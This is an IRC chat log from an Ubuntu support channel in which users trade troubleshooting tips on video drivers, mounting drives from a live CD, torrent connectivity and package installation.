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kinjociscosurfer, how do i convert rpm to deb?08:56
noobcookciscosurfer: done08:56
MaricI have seen it availiable in torrents (not leagal though)08:56
corevettemy ubuntu system won't let me start...so i put in the live cd....how do i access my files now08:56
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ciscosurferkinjo: hold pls08:56
noobcook!ati08:56
ubotuTo install the Ati/NVidia drivers for your video card, see https://help.ubuntu.com/community/BinaryDriverHowto08:56
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kinjociscosurfer, okidoki...08:56
eifzonAti + linux = notrue08:56
Maricalso for the massochistic there is the linux from scratch project08:56
ciscosurferkinjo: https://help.ubuntu.com/community/RPM/AlienHowto08:56
japrMaric ;)08:57
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ciscosurfernoobcook: no love huh08:57
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noobcookciscosurfer: dont know why i cant just install proper video card drivers on ubuntu lol08:57
eifzonnoobcook, its kinda hard to install ATI for linux08:57
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noobcookyeh =(08:57
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noobcookive been trying for 2 days08:57
eifzon<3 nVidia08:57
Maricadditionally at:help.ubunu.com/community, and gimme a sec08:58
ciscosurfernoobcook: i've heard they can be a pain as well08:58
eifzonnoobcook, i know its possible, my friend is using debian and got ati :)08:58
noobcooki even tryed compiling it to the kernal with no success08:58
tweekbought a cheap nvidia card this week, worked wonderfully08:58
noobcookeifzon can u tell him to pm me lol08:58
corevettehow do i access my hard drive from the live cd?08:58
eifzonhaha :)08:58
eifzonw8..08:58
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Maricalso try tldp.org08:58
ciscosurfer10 points for nVidia08:58
tweek5500 fx is a great card btw, 50 dollars, 256 of ram on it.08:58
ciscosurfer!08:58
ciscosurferi use it too08:58
fokusleewell u can get a 6600gt for that price08:58
ciscosurferMaric: good suggestion!08:58
tweekagp vs pcie08:58
Marichey I use the same card as well08:59
tweeki could get a way better pcie card for 50, but its getting hard to get an agp for that :P08:59
Maricthat last site is a general linux documentation project08:59
fokusleetweek sooo true08:59
corevetteplease i really need help...how do i access my hard drive from the edgy live cd?08:59
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tweekmy dad got a WAY better nvidia card fro the same price on a pci e board for the same order08:59
fokusleecorevette which file system u want to acess?08:59
corevettewell my ubuntu is broken09:00
Maricthat help you jaspr09:00
corevetteit wont let me start fokuslee09:00
Maric?09:00
tweekbut the 5500 fx is quality thats for sure. it works for XGL i dont care about games at all so its a nice card for not much cash and thats it09:00
mehdihello every body09:00
corevettefokuslee i'm on the live cd now and i want to save my files...or is there a way to safe restore so i can fix the boot of ubuntu09:00
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ciscosurfercorevette: you need to know which drive you want to mount....do a      sudo fdisk -l   (that's a lowercase L) to check09:01
phireI've got a problem with samba in edgy. browsing of the windows network is temperamental. I've installed the full samba package.09:01
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ciscosurfercorevette: then create a directory to mount it09:01
Maricjaspr that help?09:01
fokusleecorevette i believe u can fix grub from the live cd09:01
ciscosurfercorevette: sudo mkdir otherOS09:01
corevetteits not grub fokuslee09:01
ciscosurfercorevette: then09:01
gandalfcomeI have an ati graphics card and use that for dual screen. unfortunatley I get a mouse offset on one of the screens. Help greatly appreciated.09:01
fokusleecorevette u want to fix ur mbr rite?09:02
corevetteciscosurfer one of the drives claims to have 160 gb....even though i just have to 80 gb09:02
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corevettefor that drive yes fokuslee09:02
ciscosurfercorevette: sudo mount /dev/<<whatever drive you want here>> (one space here) /mnt/otherOS09:02
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ciscosurfercorevette: that mkdir command should've been >> sudo mkdir /mnt/otherOS09:02
ciscosurfercorevette: huh?09:03
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corevetteciscosurfer: what do i put for otherOS09:03
riotkittiestupid question time - if i can clone my laptop's screen on a crt, it stands to reason i should be able to do it in linux, eh? [i am going through the forums and reading and whatnot but its 3 am and my brain has clocked out for the night] 09:03
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riotkittieon a crt in win*09:04
fokusleecorevette i see u need to use gparted livecd then something wrong in the boot sector09:04
ciscosurfercorevette: can you post the output of the    sudo fdisk -l    to the pastebin??09:04
fokusleecorevette:  i never seen dat before09:04
ciscosurfer!paste09:04
ubotupaste is a service to post large texts so you don't flood the channel. The Ubuntu pastebin is at http://paste.ubuntu-nl.org (be sure to give the URL of your paste)09:04
corevettesure ciscosurfer09:04
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zoexi1riotkittie: it is usually a question of correct driver for your graphics card, then setup in xorg09:05
noobcookwow #debian the most unhelpfull people ive ever spoken to in my entire life09:05
ciscosurfercorevette: then tell me the link to look at.....and which drive you want mounted....a windows drive, etc....09:05
riotkittiezoexi1: ah :)09:05
corevetteciscosurfer: http://paste.ubuntu-nl.org/1278/09:05
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Maricwhat happened there noob?09:06
noobcookhas anyone here successfully got ati drivers working in ubuntu?09:06
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corevetteciscosurfer: i want the first one mounted....it is an ubuntu drive09:06
Maricnoob I did once09:06
noobcooki think debian users dont like ubuntu users09:06
noobcookmaric how!09:06
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mardi_soirhello09:06
MaricI used easyubuntu09:06
noobcookhmm whats that09:06
mardi_soiri would like to some help me to solve a problem about a ralink wiki pci card09:06
mardi_soirit is xubuntu edgy09:07
Maricit is a script that makes life easy I'll get the url hang on a sec09:07
ciscosurfercorevette: ah...okay....................do this................   sudo mkdir /mnt/otherOS09:07
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ciscosurfercorevette: then do this >> sudo mount /dev/hdb1 /mnt/otherOS09:07
noobcookthanks maric09:07
corevetteokay09:07
corevettenow what ciscosurfer09:07
ciscosurfercorevette: then do this >> sudo mount /dev/hdb1 /mnt/otherOS09:07
Maricfirst link: easyubuntu.freecontrib.org09:07
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corevettesorry for spamming: mount: /dev/hdb1 already mounted or /mnt/otherOS busy09:08
corevettemount: according to mtab, /dev/hdb1 is already mounted on /mnt/otherOS09:08
Marica different but similar tool: www.getautomatix.com09:08
noobcookah automatix09:08
corevetteciscosurfer look at above post09:08
noobcookthats unsupported09:08
ciscosurfercorevette: do this >> sudo umount /dev/hdb109:08
Maricnoobcook: ? do tel09:08
Maricer tell09:08
ciscosurfercorevette: then this >> sudo mount /dev/hdb1 /mnt/otherOS09:09
noobcookmaric aparently automatix can screw up your whole distro so ubuntu doesnt support it09:09
noobcook!automatix09:09
ubotuautomatix is a script that tries to install some software, and often fails and breaks systems. We don't provide support for it, and we strongly discourage its use. Problems caused by Automatix are often hard to track and solve, and it might sometimes be easier to !install a fresh copy of Ubuntu. See also !WorksForMe09:09
corevetteokay now what ciscosurfer09:09
ciscosurfercorevette: then this >> sudo mount /dev/hdb1 /mnt/otherOS09:09
Maricthats odd I use it and have no issues09:09
noobcookalriight i may aswell try it09:09
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noobcookim at wits end09:09
Marictry easy ubuntu first09:09
ciscosurfernoobcook: don't listen to our little 'ubotu' friend about Automatox....Automatix rocks. Period.09:09
corevettethats the same thing ciscosurfer09:09
Vernaldo_nayahow do I allow blank passwords?09:09
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noobcookreally cisosurfer ok =D09:10
cowbudVernaldo_naya: you don't09:10
noobcooki belive u09:10
cowbudperiod09:10
Maricnoobcook: try this forst09:10
Maricer first09:10
corevetteciscosurfer...i went to /mnt/otherOS and it says i don't have permission to access it...how do i?09:10
noobcookare u drunk maric =p =p09:10
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ciscosurfercorevette: short of listing a whole bunch of commands, your best bet is to reboot and then try these procedures again fresh...that will clear mtab and any mounted drives....unless...you can change directories over to /mnt/otherOS and it's all there....09:11
Marichelp.ubuntu.com/community/BinaryDriverHowto/ATI09:11
birnehallo09:11
birnehi09:11
fokusleecorevette, looks like to me u have 2 physical harddisks09:11
fokusleesda and hda09:11
noobcookyeh i tried that one Maric no luck09:11
fokusleeone serial ata one pata09:11
Vernaldo_nayacowbud, the machine is locked down every other way. this is for a granny machine09:11
noobcookciscosurfer: is vmware in the debs09:11
corevetteyes fokuslee...how do you fix the mbr?09:11
audellHi! I want help with torrent-downloading in Edgy PPC09:11
ciscosurfernoobcook: don't recall09:11
Maricwow, that is a rough one then noob09:11
fokusleecorevette are u saying the sata is 80 gig and its showing up as 16)?09:11
fokuslee160?09:11
ciscosurfernoobcook: vmwareplayer is09:12
ciscosurfernoobcook: vmware-player is09:12
audellMaric: I don't think you know about my problem yet ;)09:12
ciscosurfersorry09:12
noobcookyeh i wana get vmware so i can emulate windows09:12
corevettefokuslee i figured out that was my usb external drive (so overall i have 2 x 80gb hard drives...and one 160 gb external usb)09:12
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kinjociscosurfer, hey i still am facing hte same problem....09:12
birneich suche eine mglichkeit dateien mit einer bestimmten gre zu lschen  ich habe es mit         find /test -s 10k | rm ausprobiert09:12
Maricwhat card is it noob?09:12
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ciscosurferkinjo: hmm09:12
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kinjociscosurfer, i converted the rpm...09:12
LucianSolariswoowoooo stoned city!09:12
ciscosurferkinjo: let me think about it09:12
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ciscosurfercorevette: reboot and start fresh...09:13
birnewie muss ich die syntax richtig schreiben09:13
birne?09:13
corevetteciscosurfer...as in from the live cd again?09:13
ciscosurfercorevette: you're on the liveCD?09:13
Maricnoobcook: which card is it?09:13
corevetteciscosurfer yes09:13
ciscosurfercorevette: haha09:13
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kinjociscosurfer, hey while converting the rps do i have to add -script or someting...09:13
ciscosurfercorevette: yes09:13
corevetteciscosurver...that might solve a few things09:13
noobcookMaric: ATI radeon 955009:13
kinjociscosurfer, or is plain alien -d09:13
ciscosurferkinjo: sometimes adding that switch is a good idea09:13
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fokusleecorevette ok so nothing is wrong rite??  i mean the size is not falsely reported rite? but it looks to me from ur fdisk -l or usb is not on09:14
audellWhere can I get help with my torrent-problem?09:14
corevettenope fokuslee09:14
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kinjociscosurfer, retry??09:14
ciscosurferkinjo: alien by default with convert to a .deb  .....the -d switch isn't necessary09:14
Maricnoob I assume you tried the ATI installer?09:14
noobcookyeh09:14
noobcookthat gave me no joy either09:14
kinjoah k..09:14
fokusleecorevette ok so u are trying to mount the 160 gig serial ata rite?09:14
noobcookeven wen i went Apps> radeon it wouldnt open the gui09:14
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Maricnoobcook: I think I must have been very lucky then, cause that is all I did to get it to work09:14
corevetteno fokuslee...i'm trying to mount the hdb (pastebin: http://paste.ubuntu-nl.org/1278/)09:15
ciscosurferADIOS all....gotta sleep now!09:15
angela_8008135hi all! do you guys have a font editor?09:15
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corevettewell the first one fokuslee09:15
DaneDoghi everyone09:15
birnei like to delete files wich meet a speciifc size, but i dont know wich command i have to use. i tried       rm | fint /test -size 10k09:15
corevetteany idea ciscosurfer?09:15
noobcookMaric:  hopefully the automatix will give me more joy09:15
birnei like to delete files wich meet a speciifc size, but i dont know wich command i have to use. i tried       rm | find /test -size 10k09:15
fokusleecorevette hdb bein the windows parititoN?09:15
Maricnoobcook: I hope so09:15
dromeranybody hove some pointers installing beryl on dapper? I don't have the balls to try it myself :$09:15
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corevetteno the linux partition fokuslee09:15
ciscosurfercorevette: I suggest you try rebooting and trying my steps again09:15
ciscosurfercorevette: I suggest you try rebooting and trying my steps again09:15
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corevetteokay fine ciscosurfer.....except its not even detecting the other hard drive09:16
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corevettebut i'll try restarting09:16
fokusleecorvette HPFS/NTFS09:16
DaneDogcorevette i checked that09:16
DaneDogdid you make that directory?09:16
fokusleeunless u installed linux with ntfs which is highly unlikely that is the window partition09:16
corevetteyes its not detecting my linux drive09:17
fokusleeohh ok09:17
audellPlease, Can anybody help me with my torrent problem on edgy PPC?09:17
angela_8008135you guys have a nice font editor?09:17
corevetteoh damn stupid me...i forgot to plug it in09:17
ciscosurfercorevette: you want to access your Windows drive, right?09:17
noobcookaudell:  just tell ur problem09:17
corevetteokay hold on guys....let me restart09:17
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noobcook!ntfs-3g > corevette09:18
noobcookaw he dc09:18
gandalfcomeI have an ati graphics card and use that for dual screen. unfortunatley I get a mouse offset on one of the screens. Help greatly appreciated.09:18
fokusleedamn corevette i was gonna say somehting09:18
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ciscosurfernoobcook: i got thoroughly confused by all he wanted to do....09:18
Stormx2Serpentine reports that there is not enough space in the cache directory. I've tried rebooting, what now?09:18
audellMy problem is that I don't seem to get a proper connection to the tracker. It seems I'm pretty much unable to upload. I get the typical problem: It goes somewhat fast at first, but after a couple of minutes it just fades out and dies.09:18
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DaneDoghey anyone have any ideas why i have a INSANLY low FPS rate with a Decent system?09:18
noobcookciscosurfer: i just read what u said and tried 2 beat u 2 it09:18
ciscosurferhaha09:19
ciscosurfer:O)09:19
audellDaneDog: You're probably not using the right video-driver09:19
birnethis might be a problem with ur dsl router @ audell09:19
noobcookwonder if automatix is gona work09:19
ciscosurferlater on!!!09:19
DaneDogI can't even run lxdoom09:19
Maricis there anyway I can get rid of chronic PEBKAC issues?09:19
birnetoo many connections i think09:19
DaneDogi have that horrible unichrome integrated video09:19
birnetry to upgrade the firmware09:19
DaneDogthat's the problem isn't it?09:20
audellbirne: I have forwarded the accurate ports, and I also I have just this router with a lot of other computers before09:20
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audellused*09:20
DaneDogIs anyone familiar with openchrome?09:20
Maricnot I what is it?09:21
birneusually a normal lanrouter takes about 250 connections09:21
angela_8008135my husband uses openchrome09:21
noobcookciscosurfer: where do i get  Postgres (libpq) ...09:21
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Stormx2Serpentine reports that there is not enough space in the cache directory. I've tried rebooting, what now?09:21
birnedepends on the manufacture an the firmware09:21
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DaneDogI installed that, it's a driver for the Unichrome Int. Vid. Card, I get horrible FPS rates and I was told on the OPENCHROME board it's not the driver it's ubuntu and to use gentoo... how true is this?09:22
noobcookdoes anyone know where to get postgres (libpg) i cant get it on apt get09:22
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Maricnoob do you have the universe and multivers repos enabled?09:22
birneu said u never had problems of this kind before09:23
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fokusleeMaric omg don't call him a noob09:23
fokusleegeeee09:23
birne???09:23
noobcookDaneDog: if it helps im having trouble installing drivers on ubuntu for my gfx but im ati, have you tried Automatix, im going to try that now although i cannot vouch for its stability its my last option09:23
fokusleeOh wait his name is noob im sorri09:23
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Maricfok I'm not calling names09:23
MaricI;m just a lazy typist09:23
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fokusleeMaric:  yeah i just realized sorri09:23
noobcookmaric yeh i do =p09:23
audel1Sorry, something crazy happen. Anyway birne: what else can be the problem?09:24
DaneDogyea automatix is cool but no support for me... I've been building these drivers from openchrome and Unichrome.sf from source09:24
Maricnoobcook: gimme sec09:24
noobcookk09:24
birneu said u never had problems of this kind before09:24
birne???09:24
audel1exactly09:24
Maricnoob are you on edgy?09:24
noobcookyeh09:24
noobcook6.1009:24
Marick09:24
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birnethe same like me09:24
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corevetteok i'm back09:25
DaneDogi'm kinda at a dead end...09:25
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fokusleecorevette i want u to do this09:25
corevettewhoever i was talking to about mounting hard drives..i plugged in my linux hard drive09:25
noobcookcorevette: where do i get SAP for free?09:25
prologicWhat's aht latest version of ubuntu ?09:25
corevetteSAP?09:25
eifzon6.10 prologic09:25
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audel1birne: Are there any known problems with torrents and the PPC-version of ubuntu09:25
fokusleecorevette:  fdisk -l | grep linux09:25
klaxiananyone using compiz?09:25
noobcookcorevette:  Checking for SAP/R3 (librfc/saprfc.h) ...09:25
noobcook                                      ... NOT found, module sapr3 disabled09:25
noobcookGet it from http://www.sap.com/solutions/netweaver/linux/eval/index.asp09:25
birnesorry i dont know09:25
prologiceifzon, how come I don't see any 2.6 kernels in the trees ?09:26
DaneDogi don't have a clue why i'm pulling 400fps with a small ap like GLXGEARS with 1gb ram and pushing 3.05ghz out of the CPU09:26
birneim using 32 & 64 bit09:26
klaxiani'm having a slight problem with compiz...can anyone help?09:26
corevettenow what fokuslee09:26
eifzondont know09:26
gandalfcomeI have an ati graphics card and use that for dual screen. unfortunatley I get a mouse offset on one of the screens. Help greatly appreciated.09:26
audel1alright09:26
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noobcookgandalfcome: are you using default drivers?09:26
Mariclibpq3 and libpq4 are both in the unuverse repo try sudo apt-get clear09:26
Maricand then sudo apt-get update09:26
noobcookok09:26
Maricthen sudo apt-get install libpq309:27
angela_8008135how can I tell if my husband is looking at porn?09:27
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fokusleecorevette:  does ur linux drive show up?09:27
fokusleecorevette:  fdisk -l | grep Linux09:27
corevettenothing shows up fokuslee09:27
audel1Is there anybody else that can help me?09:27
fokusleesorri i forogt the capital09:27
gandalfcomenoobcook: i have been posting this problem for 3 days now every 3 hours and your the first to answer:D no im using fglrx09:27
corevetteno fokuslee09:27
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fokusleecorevette nothing shows uP?09:27
corevetteno fokuslee09:28
Stormx2Serpentine reports that there is not enough space in the cache directory. I've tried rebooting, what now?09:28
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corevettewhats the command for looking at all the drives fokuslee09:28
klaxiancan anyone help with compiz?  it's working great except some specific windows don't work right...for example, gnome-terminal has no menus and doesn't respond to typing09:28
fokusleecorevette ur drive is probably dead then09:28
noobcookgandalfcome: ive got bad memory =p ive proabbly already told you that i think ubuntu has ati support issues09:28
Maricaudel1: mostly by looking at the cache in the browser, after that you might try using the parenting tools availiable on the web09:28
fokusleefdisk look at all of them even umounted ones09:28
noobcooksudo fdisk -l09:28
noobcookwhat fs is it corevette09:28
fokusleecorevette so i assume ur drive is dead09:28
gandalfcomenoobcook: i googled the problem some had the same problem but it seems that no one gave a real solution. I don't know if it works with the opensource radeon drivers09:28
fokusleecorevette:  u can also try df -l09:29
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noobcookgandalfcome: yeh i did a lot of researching for 2 days so far i cant get decent fps off my radeon09:29
corevettenoobcook....i don't know09:29
Stormx2*sigh* please, someone? I have to go in 5 minutes...09:29
fokusleecorevette:  better df -t ext309:29
gandalfcomenoobcook: don't you think that is the same with all distros09:29
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corevettewhat was thecommand we had before....that i used in the pastebin09:29
juicyfish!mud09:29
juicyfish:(09:29
ubotuSorry, I don't know anything about mud - try searching on http://bots.ubuntulinux.nl/factoids.cgi09:29
audel1Stormx2: what was your problem?09:29
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Stormx2Serpentine reports that there is not enough space in the cache directory. I've tried rebooting, what now?09:29
gandalfcomenoobcook: stupid question but fglrxinfo gives you?09:29
juicyfishIm looking for a good MUD client for Ubuntu 6.0609:29
Maricaudel1 but mostly try to understand that we try to respect privacy and access to information (even porn) here09:29
juicyfishAny ideas from anyone?09:29
noobcookgandalfcome: on mandrake and fedora my radeon pwned i hear gentoo has good support tho09:30
klaxianjuicyfish: i think there's gnome-mud09:30
juicyfishOoh.09:30
noobcookgandalfcome: OpenGL vendor string: ATI Technologies Inc.09:30
Jowijuicyfish, gnome-mud09:30
noobcookOpenGL renderer string: RADEON 9550 Generic09:30
noobcookOpenGL version string: 2.0.6011 (8.28.8)09:30
juicyfishThanks. I didnt want to use terminal. :P09:30
fokusleenoobcook:  gentoo is h4x0r09:30
audel1Maric: what?09:30
noobcookthats interesting...09:30
noobcookmy driver says ati09:30
noobcooklol09:30
noobcookbefore it said DRI09:30
noobcookhmm09:30
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noobcook </endspam>09:30
Angela_8008135`had to change IRC09:31
gandalfcomenoobcook: so the drivers are installed09:31
corevettegive me the link to my own pastebin fokuslee09:31
fokusleecorevette:  u used fdisk -l09:31
gandalfcomenoobcook: in my case I just want dual screen, I dont care that much about 3d accell09:31
Angela_8008135`anyone know of a font editor in linux? TIA09:31
fokusleecorevette:  and yes dat command will show all the drives/partitiosn09:31
MaricAudel1 please understand, marital issues asside, many in the Linux community are biased towards the freedom of information and the freedom of computer use09:31
noobcookgandalfcome: my screen still has the appearance like a crappy fluresant light09:31
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fokusleeeven if they are not mounted09:31
fokusleeso i said ur drive is probably dead09:31
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fokusleecorevette:  and then i asked u to db check with df -t ext309:31
gandalfcomedoesnt sound too good;-)09:31
corevettewhat do you mean the drive is dead fokuslee?09:31
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Stormx2Uhg. Nevermind everyone. Too late now. Cya.09:32
fokusleemeans ur drive is borken fried destroyed09:32
audel1Maric: I know that, but I can't understand why you are telling me that? What do you mean?09:32
corevettefokuslee: ubuntu@ubuntu:~$ df -t ext309:32
corevetteFilesystem           1K-blocks      Used Available Use% Mounted on09:32
gandalfcomenoobcook:  doesnt sound too good;-)09:32
noobcookfokuslee: solaris 10 is the h4x0r u need to be like elite coder just to install09:32
noobcookgandalfcome: i guess its not that bad ubt er its like when i had windows and i had an older driver on it looked like this09:32
Maricaudel1 aiding others to spy on/limit others use of their computer is antithetical to our core philosophy, freedom accepts no limits and information wants to be free09:32
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fokusleenoobcook:  umhhh im not even touching gentoo with a 10 foot stick u think i can be leet like dat im a linux newb lol : )09:33
corevettefokuslee...the installer detects the hard rdive09:33
corevettebut really fokuslee...i need the link back to my pastebin09:33
Maricnoob go linux from scratch before you go gentoo09:33
audel1Maric: Who's trying to limit someone elses use on computers?09:33
gandalfcomenoobcook: ati driver support is very bad in my opinion. I installed ubuntu on my fathers server and he uses an nvidia card. installed the nv drivers and everything worked09:33
noobcookgandalfcome: ive heard this lots before09:34
fokusleehttp://paste.ubuntu-nl.org/1278/09:34
fokusleehttp://paste.ubuntu-nl.org/1278/09:34
fokusleehttp://paste.ubuntu-nl.org/1278/09:34
Maricaudel1 was not your question as to how one could findout about your husbands activities?09:34
noobcookgandalfcome: do you happen to kno the command to change options for ATI?09:34
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gandalfcomenoobcook: aticonfig09:34
corevettei got it foduslee...i had to have a sudo09:34
audel1Maric: No It wasn't09:34
gandalfcomenoobcook: that basically writes to your xorg.conf09:34
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corevettefokduslee: http://paste.ubuntu-nl.org/1280/09:35
fokusleecorevette:  so when u fdisk -l | grep Linux something show up rite?09:35
Maricaudel1 I think I must have mis read you r ? then please restat it09:35
audel1Please Maric help me instead!09:35
noobcookgandalfcome: ta09:35
corevettefokuslee...i had to have a sudo in front of it09:35
Maricer restate ? then please09:35
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fokusleecorevette yeah sudo give u root priveledge09:35
corevettei didn't really think ....sorry fokuslee09:36
fokusleecorevette:  just sudo -i09:36
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fokusleedat way u don't have to type sudo all the time09:36
noobcookgandalfcome:  is there a gui for aticonfig?09:36
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audel1I have a problem with Torrents. It seems the problem is about uploading, though I'm not completely sure. I can download for 20 kb/s the first 3 minutes or so, but then it just fades out and dies09:36
Maricaudel! that is a capping issue mostlikely09:37
corevettedo you have your ports open audel1?09:37
fokusleeaudeli do u have firestarter or wutever thats calleD?09:37
noobcookgandalfcome: this maybe might help you  Dual head   :    aticonfig --initial=dual-head --screen-layout=above09:37
noobcook                        This command will generate a dual head configuration09:37
noobcook                        file with the second screen located above the first09:37
noobcook                        screen.09:37
corevettewhat client are you using audel1?09:37
gnuyogahi folks. Am trying to install ubuntu on a Intel 965 board with core 2 duo .... since the installation failed i did a google and figured out that we need 2.6.18 kernel to make it working...... is there a way update kernel in edgy installer cd to the latest kernel 2.6.18 ?09:37
audel1maric: What can I do about it? And yes, all the required ports are open09:37
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corevettefokuslee: http://paste.ubuntu-nl.org/1280/09:37
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gandalfcomenoobcook: is there are gui for any advanced options in linux;-) no sadly not, but its pretty simple. I did all this before with aticonfig, i also played around with my xorg.conf but nothing seems to work09:37
corevettesorry i sent that earlier...but spelt your name wrong fokuslee09:38
MaricAudell what port is your torrent client set to?09:38
noobcookmm09:38
daftmananyone having problem with gconf?09:38
Maricand what client is it09:38
audel15315209:38
audel1I have tried both Azureus and BitTornado09:38
kvossenapt-get pukes when I want to remove a package, so I'm stuck (see: http://paste.ubuntu-nl.org/1281/). Anything I can do?09:38
Maricdo you have Upnp setup on your router09:38
audel1yup09:38
Jowignuyoga, linux-image-686 is not enough? (or is core 2 64 bit perhaps...?)09:39
DaneDogIs gentoo that bad?09:39
riotkittieok i give up on cloning my screen. /weep/09:39
Marichang on a sec09:39
audel1Maric: alright!09:39
corevetteyou still there fokuslee?09:39
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daftmanDaneDog: what do you mean?09:40
noobcookgandalfcome: i think the crappy display is due to my refresh rate!09:40
snailkvossen: "apt-get install --reinstall <packagename>" first09:40
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fokusleecorevette:  yeah i am09:40
fokusleecorevette:  i just read ur thing09:40
fokusleeok so ignore the extended parition thats there b/c or swap is on a logical partition09:40
Marichave you checked to see if you have a nat issue?09:40
audel1Yeah sure, all the required ports are open09:40
DaneDogi dunno i was told gentoo will handle my video card better and people here don't want to get near it?09:40
audel1Maric: btw, how do you mean checked?09:41
daftmanDaneDog: because gentoo you have to compile everything09:41
Jowiaudel1, have you tried another torrent. perhaps there is not any seeders for the file09:41
daftmanDaneDog: gentoo is a source distribution09:41
audel1There are seeders09:41
audel119 for this particular one09:41
fokusleecorevette, u want to mount hdb1 rite?09:41
MaricAzureus has a tool that will test to make sure everythin is ok09:41
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DaneDogso what is a good gaming distribution?09:41
corevetteso what do i do....fokuslee.....i can either fixmbr or i can save my files and reinstall system09:41
daftmanDaneDog: You really have to know what you are doing and read alot of stuff09:41
gnuyogajowi, am using edgy 6.10 server installer09:41
Maricdane - supergamer209:41
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DaneDogI can't even run little games like lxdoom09:41
daftmanDaneDog: what do you mean a gaming distribution? like windows?09:42
DaneDogi ran doom on my old 486DX209:42
kvossensnail: this gives unmet dependencies :/09:42
fokusleecorevette so ur real problem is that u can't boot into linux anymore rite??09:42
gnuyogalooks like its not able to detect the cdrom .............. the same is getting detected in FC609:42
corevetteyup fokuslee09:42
DaneDogand can't on a p4 at 3ghz09:42
audel1Maric: The azureus tool says everything is ok09:42
daftmanyou should be able to run it09:42
fokusleecorevette:  what is the eror?09:42
DaneDogno i just want something that will run like wolf et and unreal tournament09:42
Jowiaudel1, doublecheck that ports 6881-6889 are open in the router (if you're using one)09:42
fokusleecorevette:  and how did this happen?09:42
fokusleewut grub error is it?09:43
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daftmanwhat is your graphic card?09:43
DaneDogthe only thing i can run is ZSNES... :)09:43
corevettefokuslee its not a grub error09:43
audel1Jowi: I am using a router, but I have a different port-range09:43
DaneDogVIA unichrom :(09:43
Maricaudel1 try this:www.azureuswiki.com/index.php/Avoid_traffic_shaping09:43
corevettefokuslee when i start up ubuntu....it just stops loading...i've waited for a while to see ifi t goes09:43
daftmanah09:43
DaneDogyea09:43
daftmanit's not a 3d graphic card is it?09:43
audel1Maric: I will check that out right away09:43
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corevettefokuslee...it freezes at the logo screen...and i tried recovery mode too09:43
DaneDogyea...09:43
daftmanDaneDog: have you check to compatibility list for it?09:43
MaricI had a similar issue with comcast and they were choking my bt dls real bad09:44
fokusleecorevette did u install a new video driver?09:44
gandalfcomenoobcook: well I think I will post my ati problem again and see if anyone runs dual screen and can help me ;-) if you need further help with your ati just send me a message09:44
snailkvossen: you've read the man page for this command? that will tell you how to get around this problem09:44
DaneDogit "supposibly" is09:44
corevetteno fokuslee09:44
noobcookgandalfcome: thanks heaps =)09:44
gandalfcomeI have an ati graphics card and use that for dual screen. unfortunatley I get a mouse offset on one of the screens. Help greatly appreciated.09:44
DaneDogno where is that at?09:44
gandalfcomenoobcook: no worries09:44
daftmancheck ubuntu09:44
daftmanit should have a driver database09:44
JowiDaneDog, what type of via chipset do you have? CLE266 supports DRI09:44
daftmanit would show you what ubuntu is built for09:44
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fokusleecorevette:  u shouldn't reinstall u should check if there is a solution that never happen to me but i can show u how to mount it09:45
DaneDogi have a P4M800 chipset it's IGP VT720509:45
fokusleeso for now u can get ur files09:45
corevetteok fokuslee09:45
DaneDogi can get DRI09:45
DaneDogit's just everything is laggy09:45
DaneDogmajorly09:45
fokusleecorevette:  cd  ~/09:45
noobcookgandalfcome: hehe, would this work to change my fresfresh rate : sudo aticonfigure --vresfresh=#1;8509:46
fokuslee&& mkdir linuxrescue09:46
DaneDogtuxkart is non functional09:46
Jowignuyoga, what error do you get - why does it fail? at install time or at boot time?09:46
daftmancheck to see if you have 3d acceleration09:46
BHSPitLappythe sound I'm recording in Audacity (via Line In) comes out distorted, even though it plays perfectly through the speakers in real-time (by unmuting the Line in the Gnome volume prefs).  Any ideas?09:46
DaneDogglxinfo?09:46
corevettefokuslee: -bash: syntax error near unexpected token `&&'09:46
JowiDaneDog, "glxinfo | grep direct"09:46
DaneDogyea09:46
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gnuyogajowi, install time.  Fails at Detect and mount CD-ROM09:46
fokusleecorevette oh sorri i meant it in one line but just do mkdir linuxrescue09:47
DaneDogi get a stupid visual not supported at 0x4609:47
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DaneDogbut it's ok there09:47
corevettekeep going fokuslee09:47
Jowignuyoga, is the checksum of the image you downloaded ok?09:47
gnuyogayup09:47
fokusleeok can u comfire it by typing ls09:47
daftmanwhat driver are you using?09:47
Angela_8008135I will talk dirty to the first one who tells me a good font editor :)09:47
Jowignuyoga, is it an internal or external cdrom?09:48
corevetteyes fokuslee09:48
DaneDogI am using the openchrome drivers, the guy from unichrome found me on VIAARENA.com's forum and told me to try his but i don't know how to get rid of the openchrome one...09:48
DaneDogi mean the unichrome.sf one09:48
gnuyogajowi, i have both ..... one IDE and other USB ...... it boot from both the drive but the installation stop at Detect and mount CD-ROM09:48
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DaneDogI have three choices, Openchrome, unichrome.sf, and VIATECH's09:49
JowiDaneDog, the "via" driver should be enough I think.09:49
gandalfcomenoobcook: no do sudo gedit /etc/X11/xorg.conf. and have look through the options theres a screen device section where you can set your resolution and refresh rate09:49
noobcookalright09:49
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Jowignuyoga, is the USB drive connected?09:49
corevettefokuslee its there09:49
gnuyogajowi,09:49
daftmanso you want to get rid of the unichrome driver?09:49
fokusleecorevette sudo nano -w /etc/fstab09:49
gnuyogajowi, no i disconnected09:49
DaneDogvideos run, but i can't play even the littlest games like even LXDOOM is HORRIBLY laggy09:49
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gnuyogajowi, i have verified that there is not hardware error ... FC6 got installed last night09:50
MaricAngela_8008135: have you looked at Xmbdfed?09:50
noobcookgandalfcome: it says Identifier   "Generic Monitor" should i be having a better driver installed for monitor?09:50
DaneDogwell they all install as VIA09:50
corevetteok i'm at nano fokuslee09:50
fokusleeu see some stuff there rite?09:50
DaneDogso i don't know which is which when i run dpkg-reconfigure09:50
corevetteyes fokuslee09:50
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Jowignuyoga, yeah. I was thinking more in the lines that the order of the cd rom drives got swapped by the installer by accident.09:50
fokusleeok start a new line add this09:50
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daftmanhow did u install the unichrome  one?09:51
daftmanthrough a deb?09:51
JowiDaneDog, how about re-installing xserver-xorg-driver-via?09:51
fokuslee/dev/hdb1   /home/($urlogonname)/linuxrescue            ext3    noatime,umask=000              0 009:51
fokusleecorevette:  above09:51
DaneDogit's openchrome i'm using09:51
DaneDogand i did the ./autogen09:51
gandalfcomenoobcook: not really I think its okay that way, google the options I dont know exactley myself what the refresh rate is. I know its very tedious but if you want to get optimal performance out of your card you need to do a lot of options in xorg.conf without config programs but by hand;-)09:51
DaneDogmake etc...09:51
MaricAngela_8008135: also have you looked at fonter?09:52
gnuyogajowi, some one in the forum reported the same and they talk about updating the kernel to 2.6.18 but how will i upgrade the kernel in the installer CD ?09:52
SurfnKidanyone know where to get fonts09:52
SurfnKidfor ubuntu09:52
DaneDogi didn't use a installer09:52
corevettefokuslee...2 separate lines?09:52
